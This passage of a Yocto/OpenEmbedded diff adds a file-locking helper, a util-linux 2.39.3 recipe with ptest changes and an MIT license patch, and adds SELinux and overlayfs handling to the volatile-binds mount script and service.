+ /* -w 0 is equivalent to -n; this has to be special-cased
+ because setting an itimer to zero means disabled! */
+
+ have_timeout = 0;
+ block = F_SETLK;
+ } else {
+ memset(&sa, 0, sizeof sa);
+
+ sa.sa_handler = timeout_handler;
+ sa.sa_flags = SA_RESETHAND;
+ sigaction(SIGALRM, &sa, &old_sa);
+
+ setitimer(ITIMER_REAL, &timeout, &old_timer);
+ }
+ }
+
+ memset(&lock, 0, sizeof(lock));
+ lock.l_type = type;
+ while ( fcntl(fd, block, &lock) ) {
+ switch( (err = errno) ) {
+ case EAGAIN: /* -n option set and failed to lock */
+ case EACCES: /* -n option set and failed to lock */
+ exit(1);
+ case EINTR: /* Signal received */
+ if ( timeout_expired )
+ exit(1); /* -w option set and failed to lock */
+ continue; /* otherwise try again */
+ default: /* Other errors */
+ if ( filename )
+ fprintf(stderr, "%s: %s: %s\n", program, filename, strerror(err));
+ else
+ fprintf(stderr, "%s: %d: %s\n", program, fd, strerror(err));
+ exit((err == ENOLCK||err == ENOMEM) ? EX_OSERR : EX_DATAERR);
+ }
+ }
+
+ if ( have_timeout ) {
+ setitimer(ITIMER_REAL, &old_timer, NULL); /* Cancel itimer */
+ sigaction(SIGALRM, &old_sa, NULL); /* Cancel signal handler */
+ }
+
+ status = 0;
+
+ if ( cmd_argv ) {
+ pid_t w, f;
+
+ /* Clear any inherited settings */
+ signal(SIGCHLD, SIG_DFL);
+ f = fork();
+
+ if ( f < 0 ) {
+ err = errno;
+ fprintf(stderr, _("%s: fork failed: %s\n"), program, strerror(err));
+ exit(EX_OSERR);
+ } else if ( f == 0 ) {
+ if ( do_close )
+ close(fd);
+ err = errno;
+ execvp(cmd_argv[0], cmd_argv);
+ /* execvp() failed */
+ fprintf(stderr, "%s: %s: %s\n", program, cmd_argv[0], strerror(err));
+ _exit((err == ENOMEM) ? EX_OSERR: EX_UNAVAILABLE);
+ } else {
+ do {
+ w = waitpid(f, &status, 0);
+ if (w == -1 && errno != EINTR)
+ break;
+ } while ( w != f );
+
+ if (w == -1) {
+ err = errno;
+ status = EXIT_FAILURE;
+ fprintf(stderr, "%s: waitpid failed: %s\n", program, strerror(err));
+ } else if ( WIFEXITED(status) )
+ status = WEXITSTATUS(status);
+ else if ( WIFSIGNALED(status) )
+ status = WTERMSIG(status) + 128;
+ else
+ status = EX_OSERR; /* WTF? */
+ }
+ }
+
+ return status;
+}
diff --git a/meta/recipes-core/util-linux/util-linux/mit-license.patch b/meta/recipes-core/util-linux/util-linux/mit-license.patch
new file mode 100644
index 0000000000..afbec98f18
--- /dev/null
+++ b/meta/recipes-core/util-linux/util-linux/mit-license.patch
@@ -0,0 +1,45 @@
+From 5b8fab1584017d9d9be008c23b90128bba41a7b5 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Thu, 28 Mar 2024 12:16:57 +0000
+Subject: [PATCH] README.licensing/flock: Add MIT license mention
+
+Looking at the license text, flock.c is under the MIT license (see
+https://spdx.org/licenses/MIT).
+
+Add an SPDX license identifier header and add to the list of licenses the
+source so everything is correctly listed/identified.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Submitted [https://github.com/util-linux/util-linux/pull/2870]
+
+---
+ README.licensing | 2 ++
+ sys-utils/flock.c | 4 +++-
+ 2 files changed, 5 insertions(+), 1 deletion(-)
+
+diff --git a/README.licensing b/README.licensing
+index 4454f8392a..535ad34813 100644
+--- a/README.licensing
++++ b/README.licensing
+@@ -12,6 +12,8 @@ There is code under:
+
+ * LGPL-2.1-or-later - GNU Lesser General Public License 2.1 or any later version
+
++ * MIT - MIT License
++
+ * BSD-2-Clause - Simplified BSD License
+
+ * BSD-3-Clause - BSD 3-Clause "New" or "Revised" License
+diff --git a/sys-utils/flock.c b/sys-utils/flock.c
+index fed29d7270..7d878ff810 100644
+--- a/sys-utils/flock.c
++++ b/sys-utils/flock.c
+@@ -1,4 +1,6 @@
+-/* Copyright 2003-2005 H. Peter Anvin - All Rights Reserved
++/* SPDX-License-Identifier: MIT
++ *
++ * Copyright 2003-2005 H. Peter Anvin - All Rights Reserved
+ *
+ * Permission is hereby granted, free of charge, to any person
+ * obtaining a copy of this software and associated documentation
diff --git a/meta/recipes-core/util-linux/util-linux/ptest.patch b/meta/recipes-core/util-linux/util-linux/ptest.patch
index 0537f7d856..6221de7182 100644
--- a/meta/recipes-core/util-linux/util-linux/ptest.patch
+++ b/meta/recipes-core/util-linux/util-linux/ptest.patch
@@ -1,23 +1,24 @@
-Define TESTS variable
+From d0a69ce80c579cbb7627a2f20e8b92e006a8d8ad Mon Sep 17 00:00:00 2001
+From: Tudor Florea <tudor.florea@enea.com>
+Date: Thu, 3 Dec 2015 04:08:00 +0100
+Subject: [PATCH] Define TESTS variable
Signed-off-by: Tudor Florea <tudor.florea@enea.com>
Upstream-Status: Pending
+
---
Makefile.am | 1 +
1 file changed, 1 insertion(+)
diff --git a/Makefile.am b/Makefile.am
-index bbaccb1..7d5a6bb 100644
+index effbb02..7d2bd1e 100644
--- a/Makefile.am
+++ b/Makefile.am
-@@ -48,6 +48,7 @@ systemdsystemunit_DATA =
+@@ -57,6 +57,7 @@ systemdsystemunit_DATA =
dist_bashcompletion_DATA =
check_PROGRAMS =
dist_check_SCRIPTS =
+TESTS = $(check_PROGRAMS)
PATHFILES =
-
---
-2.8.3
-
+ ADOCFILES_COMMON =
diff --git a/meta/recipes-core/util-linux/util-linux/run-ptest b/meta/recipes-core/util-linux/util-linux/run-ptest
index e135ee583b..7b6b1d1dc2 100644
--- a/meta/recipes-core/util-linux/util-linux/run-ptest
+++ b/meta/recipes-core/util-linux/util-linux/run-ptest
@@ -13,31 +13,23 @@ current_path=$(readlink -f $0)
export bindir=$(dirname $current_path)
export PATH=$bindir/bin:$PATH
-cd tests || exit 1
-
-comps=$(find ts/ -type f -perm -111 -regex ".*/[^\.~]*" | sort)
-
-
-echo
-echo "-------------------- util-linux regression tests --------------------"
-echo
-echo " For development purpose only. "
-echo " Don't execute on production system! "
-echo
-
-res=0
-count=0
-for ts in $comps;
-do
- $ts | sed -u '{
+# losetup tests will be skipped and/or fail otherwise
+modprobe loop
+
+# required for mount/fallback test to pass
+# systemd does this by default, but ptest images do not use it
+# see https://man7.org/linux/man-pages/man7/mount_namespaces.7.html
+# for a long description of mount namespaces in Linux
+mount --make-shared /
+
+# lsfd/option-inet has races in the test script:
+# https://github.com/util-linux/util-linux/issues/2399
+./tests/run.sh --use-system-commands --parsable --show-diff --exclude=lsfd/option-inet | sed -u '{
s/^\(.*\):\(.*\) \.\.\. OK$/PASS: \1:\2/
s/^\(.*\):\(.*\) \.\.\. FAILED \(.*\)$/FAIL: \1:\2 \3/
s/^\(.*\):\(.*\) \.\.\. SKIPPED \(.*\)$/SKIP: \1:\2 \3/
- }'
-done
-
+ }'
if [ "x$UDEV_PID" != "x" ]; then
/etc/init.d/udev start
fi
-
diff --git a/meta/recipes-core/util-linux/util-linux_2.35.2.bb b/meta/recipes-core/util-linux/util-linux_2.35.2.bb
deleted file mode 100644
index 752a6fa214..0000000000
--- a/meta/recipes-core/util-linux/util-linux_2.35.2.bb
+++ /dev/null
@@ -1,13 +0,0 @@
-require util-linux.inc
-
-SRC_URI += "file://configure-sbindir.patch \
- file://runuser.pamd \
- file://runuser-l.pamd \
- file://ptest.patch \
- file://run-ptest \
- file://display_testname_for_subtest.patch \
- file://avoid_parallel_tests.patch \
- file://0001-include-cleanup-pidfd-inckudes.patch \
-"
-SRC_URI[md5sum] = "248a4d0810c9193e0e9a4bb3f26b93d8"
-SRC_URI[sha256sum] = "21b7431e82f6bcd9441a01beeec3d57ed33ee948f8a5b41da577073c372eb58a"
diff --git a/meta/recipes-core/util-linux/util-linux_2.39.3.bb b/meta/recipes-core/util-linux/util-linux_2.39.3.bb
new file mode 100644
index 0000000000..83b3f4e05b
--- /dev/null
+++ b/meta/recipes-core/util-linux/util-linux_2.39.3.bb
@@ -0,0 +1,345 @@
+require util-linux.inc
+
+inherit autotools gettext manpages pkgconfig systemd update-alternatives python3-dir bash-completion ptest gtk-doc
+DEPENDS = "libcap-ng ncurses virtual/crypt zlib util-linux-libuuid"
+
+PACKAGES =+ "${PN}-swaponoff"
+PACKAGES += "${@bb.utils.contains('PACKAGECONFIG', 'pylibmount', '${PN}-pylibmount', '', d)}"
+
+python util_linux_binpackages () {
+ def pkg_hook(f, pkg, file_regex, output_pattern, modulename):
+ pn = d.getVar('PN')
+ d.appendVar('RRECOMMENDS:%s' % pn, ' %s' % pkg)
+
+ if d.getVar('ALTERNATIVE:' + pkg):
+ return
+ if d.getVarFlag('ALTERNATIVE_LINK_NAME', modulename):
+ d.setVar('ALTERNATIVE:' + pkg, modulename)
+
+ bindirs = sorted(list(set(d.expand("${base_sbindir} ${base_bindir} ${sbindir} ${bindir}").split())))
+ for dir in bindirs:
+ do_split_packages(d, root=dir,
+ file_regex=r'(.*)', output_pattern='${PN}-%s',
+ description='${PN} %s',
+ hook=pkg_hook, extra_depends='')
+
+ # There are some symlinks for some binaries which we have ignored
+ # above. Add them to the package owning the binary they are
+ # pointing to
+ extras = {}
+ dvar = d.getVar('PKGD')
+ for root in bindirs:
+ for walkroot, dirs, files in os.walk(dvar + root):
+ for f in files:
+ file = os.path.join(walkroot, f)
+ if not os.path.islink(file):
+ continue
+
+ pkg = os.path.basename(os.readlink(file))
+ extras.setdefault(pkg, [])
+ extras[pkg].append(file.replace(dvar, '', 1))
+
+ pn = d.getVar('PN')
+ for pkg, links in extras.items():
+ of = d.getVar('FILES:' + pn + '-' + pkg)
+ links = of + " " + " ".join(sorted(links))
+ d.setVar('FILES:' + pn + '-' + pkg, links)
+}
+
+# we must execute before update-alternatives PACKAGE_PREPROCESS_FUNCS
+PACKAGE_PREPROCESS_FUNCS =+ "util_linux_binpackages "
+
+# skip libuuid as it will be packaged by the util-linux-libuuid recipe
+python util_linux_libpackages() {
+ do_split_packages(d, root=d.getVar('UTIL_LINUX_LIBDIR'), file_regex=r'^lib(?!uuid)(.*)\.so\..*$',
+ output_pattern='${PN}-lib%s',
+ description='${PN} lib%s',
+ extra_depends='', prepend=True, allow_links=True)
+}
+
+PACKAGESPLITFUNCS =+ "util_linux_libpackages"
+
+PACKAGES_DYNAMIC = "^${PN}-.*"
+
+UTIL_LINUX_LIBDIR = "${libdir}"
+UTIL_LINUX_LIBDIR:class-target = "${base_libdir}"
+EXTRA_OECONF = "\
+ --enable-libuuid --enable-libblkid \
+ \
+ --enable-fsck --enable-kill --enable-last --enable-mesg \
+ --enable-mount --enable-partx --enable-rfkill \
+ --enable-unshare --enable-write \
+ \
+ --disable-bfs --disable-login \
+ --disable-makeinstall-chown --disable-minix --disable-newgrp \
+ --disable-use-tty-group --disable-vipw --disable-raw \
+ \
+ --without-udev \
+ \
+ usrsbin_execdir='${sbindir}' \
+ --libdir='${UTIL_LINUX_LIBDIR}' \
+"
+
+EXTRA_OECONF:append:class-target = " --enable-setpriv"
+EXTRA_OECONF:append:class-native = " --without-cap-ng --disable-setpriv"
+EXTRA_OECONF:append:class-nativesdk = " --without-cap-ng --disable-setpriv"
+EXTRA_OECONF:append = " --disable-hwclock-gplv3"
+
+# enable pcre2 for native/nativesdk to match host distros
+# this helps to keep same expectations when using the SDK or
+# build host versions during development
+#
+PACKAGECONFIG ?= "pcre2"
+PACKAGECONFIG:class-target ?= "${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'chfn-chsh pam', '', d)}"
+# inherit manpages requires this to be present, however util-linux does not have
+# configuration options, and installs manpages always
+PACKAGECONFIG[manpages] = ""
+PACKAGECONFIG[pam] = "--enable-su --enable-runuser,--disable-su --disable-runuser, libpam,"
+# Respect the systemd feature for uuidd
+PACKAGECONFIG[systemd] = "--with-systemd --with-systemdsystemunitdir=${systemd_system_unitdir}, --without-systemd --without-systemdsystemunitdir,systemd"
+# Build python bindings for libmount
+PACKAGECONFIG[pylibmount] = "--with-python=3 --enable-pylibmount,--without-python --disable-pylibmount,python3"
+# Readline support
+PACKAGECONFIG[readline] = "--with-readline,--without-readline,readline"
+# PCRE support in hardlink
+PACKAGECONFIG[pcre2] = ",,libpcre2"
+PACKAGECONFIG[cryptsetup] = "--with-cryptsetup,--without-cryptsetup,cryptsetup"
+PACKAGECONFIG[chfn-chsh] = "--enable-chfn-chsh,--disable-chfn-chsh,"
+PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux"
+
+EXTRA_OEMAKE = "ARCH=${TARGET_ARCH} CPU= CPUOPT= 'OPT=${CFLAGS}'"
+
+ALLOW_EMPTY:${PN} = "1"
+FILES:${PN} = ""
+FILES:${PN}-doc += "${datadir}/getopt/getopt-*.*"
+FILES:${PN}-dev += "${PYTHON_SITEPACKAGES_DIR}/libmount/pylibmount.la"
+FILES:${PN}-mount = "${sysconfdir}/default/mountall"
+FILES:${PN}-runuser = "${sysconfdir}/pam.d/runuser*"
+FILES:${PN}-su = "${sysconfdir}/pam.d/su-l"
+CONFFILES:${PN}-su = "${sysconfdir}/pam.d/su-l"
+FILES:${PN}-pylibmount = "${PYTHON_SITEPACKAGES_DIR}/libmount/pylibmount.so \
+ ${PYTHON_SITEPACKAGES_DIR}/libmount/__init__.* \
+ ${PYTHON_SITEPACKAGES_DIR}/libmount/__pycache__/*"
+
+# Util-linux' blkid replaces the e2fsprogs one
+RCONFLICTS:${PN}-blkid = "${MLPREFIX}e2fsprogs-blkid"
+RREPLACES:${PN}-blkid = "${MLPREFIX}e2fsprogs-blkid"
+
+RRECOMMENDS:${PN}:class-native = ""
+RRECOMMENDS:${PN}:class-nativesdk = ""
+RDEPENDS:${PN}:class-native = ""
+RDEPENDS:${PN}:class-nativesdk = ""
+
+RDEPENDS:${PN} += " util-linux-libuuid"
+RDEPENDS:${PN}-dev += " util-linux-libuuid-dev"
+
+RPROVIDES:${PN}-dev = "${PN}-libblkid-dev ${PN}-libmount-dev"
+
+RDEPENDS:${PN}-bash-completion += "${PN}-lsblk"
+RDEPENDS:${PN}-ptest += "bash bc btrfs-tools coreutils e2fsprogs findutils grep iproute2 kmod procps sed socat which xz"
+RRECOMMENDS:${PN}-ptest += "kernel-module-scsi-debug kernel-module-sd-mod kernel-module-loop kernel-module-algif-hash"
+RDEPENDS:${PN}-swaponoff = "${PN}-swapon ${PN}-swapoff"
+ALLOW_EMPTY:${PN}-swaponoff = "1"
+
+#SYSTEMD_PACKAGES = "${PN}-uuidd ${PN}-fstrim"
+SYSTEMD_SERVICE:${PN}-uuidd = "uuidd.socket uuidd.service"
+SYSTEMD_AUTO_ENABLE:${PN}-uuidd = "disable"
+SYSTEMD_SERVICE:${PN}-fstrim = "fstrim.timer fstrim.service"
+SYSTEMD_AUTO_ENABLE:${PN}-fstrim = "disable"
+
+do_compile:append () {
+ cp ${WORKDIR}/fcntl-lock.c ${S}/fcntl-lock.c
+ ${CC} ${CFLAGS} ${LDFLAGS} ${S}/fcntl-lock.c -o ${B}/fcntl-lock
+}
+
+do_install () {
+ # with ccache the timestamps on compiled files may
+ # end up earlier than on their inputs, this allows
+ # for the resultant compilation in the install step.
+ oe_runmake 'CC=${CC}' 'LD=${LD}' \
+ 'LDFLAGS=${LDFLAGS}' 'DESTDIR=${D}' install
+
+ mkdir -p ${D}${base_bindir}
+
+ sbinprogs="agetty ctrlaltdel cfdisk vipw vigr"
+ sbinprogs_a="pivot_root hwclock mkswap losetup swapon swapoff fdisk fsck blkid blockdev fstrim sulogin switch_root nologin"
+ binprogs_a="dmesg getopt kill more umount mount login su mountpoint"
+
+ if [ "${base_sbindir}" != "${sbindir}" ]; then
+ mkdir -p ${D}${base_sbindir}
+ for p in $sbinprogs $sbinprogs_a; do
+ if [ -f "${D}${sbindir}/$p" ]; then
+ mv "${D}${sbindir}/$p" "${D}${base_sbindir}/$p"
+ fi
+ done
+ fi
+
+ if [ "${base_bindir}" != "${bindir}" ]; then
+ mkdir -p ${D}${base_bindir}
+ for p in $binprogs_a; do
+ if [ -f "${D}${bindir}/$p" ]; then
+ mv "${D}${bindir}/$p" "${D}${base_bindir}/$p"
+ fi
+ done
+ fi
+
+ install -d ${D}${sysconfdir}/default/
+ echo 'MOUNTALL="-t nonfs,nosmbfs,noncpfs"' > ${D}${sysconfdir}/default/mountall
+
+ rm -f ${D}${bindir}/chkdupexe
+
+ install -m 0755 ${B}/fcntl-lock ${D}${bindir}
+}
+
+do_install:append:class-target () {
+ if [ "${@bb.utils.filter('PACKAGECONFIG', 'pam', d)}" ]; then
+ install -d ${D}${sysconfdir}/pam.d
+ install -m 0644 ${WORKDIR}/runuser.pamd ${D}${sysconfdir}/pam.d/runuser
+ install -m 0644 ${WORKDIR}/runuser-l.pamd ${D}${sysconfdir}/pam.d/runuser-l
+ # Required for "su -" aka "su --login" because
+ # otherwise it uses "other", which has "auth pam_deny.so"
+ # and thus prevents the operation.
+ ln -s su ${D}${sysconfdir}/pam.d/su-l
+ fi
+}
+# nologin causes a conflict with shadow-native
+# kill causes a conflict with coreutils-native (if ${bindir}==${base_bindir})
+do_install:append:class-native () {
+ rm -f ${D}${base_sbindir}/nologin
+ rm -f ${D}${base_bindir}/kill
+}
+
+# dm-verity support introduces a circular build dependency, so util-linux-libuuid is split out for target builds
+# Need to build libuuid for uuidgen, but then delete it and let the other recipe ship it
+do_install:append () {
+ rm -rf ${D}${includedir}/uuid ${D}${libdir}/pkgconfig/uuid.pc ${D}${libdir}/libuuid* ${D}${base_libdir}/libuuid*
+}
+
+ALTERNATIVE_PRIORITY = "80"
+
+ALTERNATIVE_LINK_NAME[blkid] = "${base_sbindir}/blkid"
+ALTERNATIVE_LINK_NAME[blockdev] = "${base_sbindir}/blockdev"
+ALTERNATIVE_LINK_NAME[cal] = "${bindir}/cal"
+ALTERNATIVE_LINK_NAME[chfn] = "${bindir}/chfn"
+ALTERNATIVE_LINK_NAME[chsh] = "${bindir}/chsh"
+ALTERNATIVE_LINK_NAME[chrt] = "${bindir}/chrt"
+ALTERNATIVE_LINK_NAME[dmesg] = "${base_bindir}/dmesg"
+ALTERNATIVE_LINK_NAME[eject] = "${bindir}/eject"
+ALTERNATIVE_LINK_NAME[fallocate] = "${bindir}/fallocate"
+ALTERNATIVE_LINK_NAME[fdisk] = "${base_sbindir}/fdisk"
+ALTERNATIVE_LINK_NAME[findfs] = "${sbindir}/findfs"
+ALTERNATIVE_LINK_NAME[flock] = "${bindir}/flock"
+ALTERNATIVE_LINK_NAME[fsck] = "${base_sbindir}/fsck"
+ALTERNATIVE_LINK_NAME[fsfreeze] = "${sbindir}/fsfreeze"
+ALTERNATIVE_LINK_NAME[fstrim] = "${base_sbindir}/fstrim"
+ALTERNATIVE_LINK_NAME[getopt] = "${base_bindir}/getopt"
+ALTERNATIVE:${PN}-agetty = "getty"
+ALTERNATIVE_LINK_NAME[getty] = "${base_sbindir}/getty"
+ALTERNATIVE_TARGET[getty] = "${base_sbindir}/agetty"
+ALTERNATIVE_LINK_NAME[hexdump] = "${bindir}/hexdump"
+ALTERNATIVE_LINK_NAME[hwclock] = "${base_sbindir}/hwclock"
+ALTERNATIVE_LINK_NAME[ionice] = "${bindir}/ionice"
+ALTERNATIVE_LINK_NAME[ipcrm] = "${bindir}/ipcrm"
+ALTERNATIVE_LINK_NAME[ipcs] = "${bindir}/ipcs"
+ALTERNATIVE_LINK_NAME[kill] = "${base_bindir}/kill"
+ALTERNATIVE:${PN}-last = "last lastb"
+ALTERNATIVE_LINK_NAME[last] = "${bindir}/last"
+ALTERNATIVE_LINK_NAME[lastb] = "${bindir}/lastb"
+ALTERNATIVE_LINK_NAME[logger] = "${bindir}/logger"
+ALTERNATIVE_LINK_NAME[losetup] = "${base_sbindir}/losetup"
+ALTERNATIVE_LINK_NAME[mesg] = "${bindir}/mesg"
+ALTERNATIVE_LINK_NAME[mkswap] = "${base_sbindir}/mkswap"
+ALTERNATIVE_LINK_NAME[mcookie] = "${bindir}/mcookie"
+ALTERNATIVE_LINK_NAME[more] = "${base_bindir}/more"
+ALTERNATIVE_LINK_NAME[mount] = "${base_bindir}/mount"
+ALTERNATIVE_LINK_NAME[mountpoint] = "${base_bindir}/mountpoint"
+ALTERNATIVE_LINK_NAME[nologin] = "${base_sbindir}/nologin"
+ALTERNATIVE_LINK_NAME[nsenter] = "${bindir}/nsenter"
+ALTERNATIVE_LINK_NAME[pivot_root] = "${base_sbindir}/pivot_root"
+ALTERNATIVE_LINK_NAME[prlimit] = "${bindir}/prlimit"
+ALTERNATIVE_LINK_NAME[readprofile] = "${sbindir}/readprofile"
+ALTERNATIVE_LINK_NAME[renice] = "${bindir}/renice"
+ALTERNATIVE_LINK_NAME[rev] = "${bindir}/rev"
+ALTERNATIVE_LINK_NAME[rfkill] = "${sbindir}/rfkill"
+ALTERNATIVE_LINK_NAME[rtcwake] = "${sbindir}/rtcwake"
+ALTERNATIVE_LINK_NAME[scriptreplay] = "${bindir}/scriptreplay"
+ALTERNATIVE_LINK_NAME[setpriv] = "${bindir}/setpriv"
+ALTERNATIVE_LINK_NAME[setsid] = "${bindir}/setsid"
+ALTERNATIVE_LINK_NAME[su] = "${base_bindir}/su"
+ALTERNATIVE_LINK_NAME[sulogin] = "${base_sbindir}/sulogin"
+ALTERNATIVE_LINK_NAME[swapoff] = "${base_sbindir}/swapoff"
+ALTERNATIVE_LINK_NAME[swapon] = "${base_sbindir}/swapon"
+ALTERNATIVE_LINK_NAME[switch_root] = "${base_sbindir}/switch_root"
+ALTERNATIVE_LINK_NAME[taskset] = "${bindir}/taskset"
+ALTERNATIVE_LINK_NAME[umount] = "${base_bindir}/umount"
+ALTERNATIVE_LINK_NAME[unshare] = "${bindir}/unshare"
+ALTERNATIVE_LINK_NAME[utmpdump] = "${bindir}/utmpdump"
+ALTERNATIVE_LINK_NAME[uuidgen] = "${bindir}/uuidgen"
+ALTERNATIVE_LINK_NAME[wall] = "${bindir}/wall"
+
+ALTERNATIVE:${PN}-doc = "\
+blkid.8 eject.1 findfs.8 fsck.8 kill.1 last.1 lastb.1 libblkid.3 logger.1 mesg.1 \
+mountpoint.1 nologin.8 rfkill.8 sulogin.8 utmpdump.1 uuid.3 wall.1\
+"
+ALTERNATIVE:${PN}-doc += "${@bb.utils.contains('PACKAGECONFIG', 'pam', 'su.1', '', d)}"
+
+ALTERNATIVE_LINK_NAME[blkid.8] = "${mandir}/man8/blkid.8"
+ALTERNATIVE_LINK_NAME[eject.1] = "${mandir}/man1/eject.1"
+ALTERNATIVE_LINK_NAME[findfs.8] = "${mandir}/man8/findfs.8"
+ALTERNATIVE_LINK_NAME[fsck.8] = "${mandir}/man8/fsck.8"
+ALTERNATIVE_LINK_NAME[kill.1] = "${mandir}/man1/kill.1"
+ALTERNATIVE_LINK_NAME[last.1] = "${mandir}/man1/last.1"
+ALTERNATIVE_LINK_NAME[lastb.1] = "${mandir}/man1/lastb.1"
+ALTERNATIVE_LINK_NAME[libblkid.3] = "${mandir}/man3/libblkid.3"
+ALTERNATIVE_LINK_NAME[logger.1] = "${mandir}/man1/logger.1"
+ALTERNATIVE_LINK_NAME[mesg.1] = "${mandir}/man1/mesg.1"
+ALTERNATIVE_LINK_NAME[mountpoint.1] = "${mandir}/man1/mountpoint.1"
+ALTERNATIVE_LINK_NAME[nologin.8] = "${mandir}/man8/nologin.8"
+ALTERNATIVE_LINK_NAME[rfkill.8] = "${mandir}/man8/rfkill.8"
+ALTERNATIVE_LINK_NAME[setpriv.1] = "${mandir}/man1/setpriv.1"
+ALTERNATIVE_LINK_NAME[su.1] = "${mandir}/man1/su.1"
+ALTERNATIVE_LINK_NAME[sulogin.8] = "${mandir}/man8/sulogin.8"
+ALTERNATIVE_LINK_NAME[utmpdump.1] = "${mandir}/man1/utmpdump.1"
+ALTERNATIVE_LINK_NAME[uuid.3] = "${mandir}/man3/uuid.3"
+ALTERNATIVE_LINK_NAME[wall.1] = "${mandir}/man1/wall.1"
+
+BBCLASSEXTEND = "native nativesdk"
+
+PTEST_BINDIR = "1"
+do_compile_ptest() {
+ oe_runmake buildtest-TESTS
+}
+
+do_install_ptest() {
+ mkdir -p ${D}${PTEST_PATH}/tests/ts
+ find . -name 'test*' -maxdepth 1 -type f -perm -111 -exec cp {} ${D}${PTEST_PATH} \;
+ find ./.libs -name 'sample*' -maxdepth 1 -type f -perm -111 -exec cp {} ${D}${PTEST_PATH} \;
+ find ./.libs -name 'test*' -maxdepth 1 -type f -perm -111 -exec cp {} ${D}${PTEST_PATH} \;
+
+ cp ${S}/tests/*.sh ${D}${PTEST_PATH}/tests/
+ cp -pR ${S}/tests/expected ${D}${PTEST_PATH}/tests/expected
+ cp -pR ${S}/tests/ts ${D}${PTEST_PATH}/tests/
+ cp ${WORKDIR}/build/config.h ${D}${PTEST_PATH}
+
+ sed -i 's|@base_sbindir@|${base_sbindir}|g' ${D}${PTEST_PATH}/run-ptest
+
+ # chfn needs PAM
+ if ! ${@bb.utils.contains('PACKAGECONFIG', 'pam', 'true', 'false', d)}; then
+ rm -rf ${D}${PTEST_PATH}/tests/ts/chfn
+ fi
+ # remove raid tests, known failures and avoid dependency on mdadm therefore
+ # See https://github.com/util-linux/util-linux/commit/7519c3edab120b14623931d5ddb16fdc6e7cad5d
+ rm -rf ${D}${PTEST_PATH}/tests/ts/blkid/md-raid0-whole
+ rm -rf ${D}${PTEST_PATH}/tests/ts/blkid/md-raid1-part
+ rm -rf ${D}${PTEST_PATH}/tests/ts/blkid/md-raid1-whole
+ rm -rf ${D}${PTEST_PATH}/tests/ts/fdisk/align-512-4K-md
+}
+
+# Delete tests not working on musl
+do_install_ptest:append:libc-musl() {
+ for t in tests/ts/col/multibyte \
+ tests/ts/lib/timeutils \
+ tests/ts/dmesg/limit; do
+ rm -rf ${D}${PTEST_PATH}/$t
+ done
+}
diff --git a/meta/recipes-core/volatile-binds/files/mount-copybind b/meta/recipes-core/volatile-binds/files/mount-copybind
index e32e675308..ddc4357615 100755
--- a/meta/recipes-core/volatile-binds/files/mount-copybind
+++ b/meta/recipes-core/volatile-binds/files/mount-copybind
@@ -2,6 +2,9 @@
#
# Perform a bind mount, copying existing files as we do so to ensure the
# overlaid path has the necessary content.
+# If the target is a directory and overlayfs is available (and the environment
+# variable MOUNT_COPYBIND_AVOID_OVERLAYFS=1 is not set), then an overlay mount
+# will be attempted first.
if [ $# -lt 2 ]; then
echo >&2 "Usage: $0 spec mountpoint [OPTIONS]"
@@ -31,6 +34,13 @@ if [ -d "$mountpoint" ]; then
else
specdir_existed=no
mkdir "$spec"
+ # If the $spec directory is created we need to take care that
+ # the selinux context is correct
+ if command -v selinuxenabled > /dev/null 2>&1; then
+ if selinuxenabled; then
+ restorecon "$spec"
+ fi
+ fi
fi
# Fast version of calculating `dirname ${spec}`/.`basename ${spec}`-work
@@ -39,13 +49,24 @@ if [ -d "$mountpoint" ]; then
# Try to mount using overlay, which is must faster than copying files.
# If that fails, fall back to slower copy.
- if ! mount -t overlay overlay -olowerdir="$mountpoint",upperdir="$spec",workdir="$overlay_workdir" "$mountpoint" > /dev/null 2>&1; then
+ if command -v selinuxenabled > /dev/null 2>&1; then
+ if selinuxenabled; then
+ mountcontext=",rootcontext=$(matchpathcon -n "$mountpoint")"
+ fi
+ fi
+ if [ "$MOUNT_COPYBIND_AVOID_OVERLAYFS" = 1 ] || ! mount -t overlay overlay -olowerdir="$mountpoint",upperdir="$spec",workdir="$overlay_workdir""$mountcontext" "$mountpoint" > /dev/null 2>&1; then
if [ "$specdir_existed" != "yes" ]; then
cp -aPR "$mountpoint"/. "$spec/"
fi
mount -o "bind$options" "$spec" "$mountpoint"
+ # restore the selinux context.
+ if command -v selinuxenabled > /dev/null 2>&1; then
+ if selinuxenabled; then
+ restorecon -R "$mountpoint"
+ fi
+ fi
fi
elif [ -f "$mountpoint" ]; then
if [ ! -f "$spec" ]; then
@@ -53,4 +74,10 @@ elif [ -f "$mountpoint" ]; then
fi
mount -o "bind$options" "$spec" "$mountpoint"
+ # restore the selinux context.
+ if command -v selinuxenabled > /dev/null 2>&1; then
+ if selinuxenabled; then
+ restorecon -R "$mountpoint"
+ fi
+ fi
fi
diff --git a/meta/recipes-core/volatile-binds/files/volatile-binds.service.in b/meta/recipes-core/volatile-binds/files/volatile-binds.service.in
index b23355a714..5a0055bec3 100644
--- a/meta/recipes-core/volatile-binds/files/volatile-binds.service.in
+++ b/meta/recipes-core/volatile-binds/files/volatile-binds.service.in
@@ -1,17 +1,17 @@
[Unit]
Description=Bind mount volatile @where@
-DefaultDependencies=false
+DefaultDependencies=no
Before=local-fs.target
RequiresMountsFor=@whatparent@ @whereparent@
-ConditionPathIsReadWrite=@whatparent@
+ConditionPathIsReadWrite=|@whatparent@
+ConditionPathExists=|!@whatparent@
ConditionPathExists=@where@
ConditionPathIsReadWrite=!@where@
[Service]
Type=oneshot
RemainAfterExit=Yes
-StandardOutput=syslog
-TimeoutSec=0
+Environment=MOUNT_COPYBIND_AVOID_OVERLAYFS=@avoid_overlayfs@
ExecStart=/sbin/mount-copybind @what@ @where@
ExecStop=/bin/umount @where@
diff --git a/meta/recipes-core/volatile-binds/volatile-binds.bb b/meta/recipes-core/volatile-binds/volatile-binds.bb
index b273293e9a..cca8a65fb4 100644
--- a/meta/recipes-core/volatile-binds/volatile-binds.bb
+++ b/meta/recipes-core/volatile-binds/volatile-binds.bb
@@ -16,10 +16,10 @@ inherit allarch systemd features_check
REQUIRED_DISTRO_FEATURES = "systemd"
VOLATILE_BINDS ?= "\
- /var/volatile/lib /var/lib\n\
- /var/volatile/cache /var/cache\n\
- /var/volatile/spool /var/spool\n\
- /var/volatile/srv /srv\n\
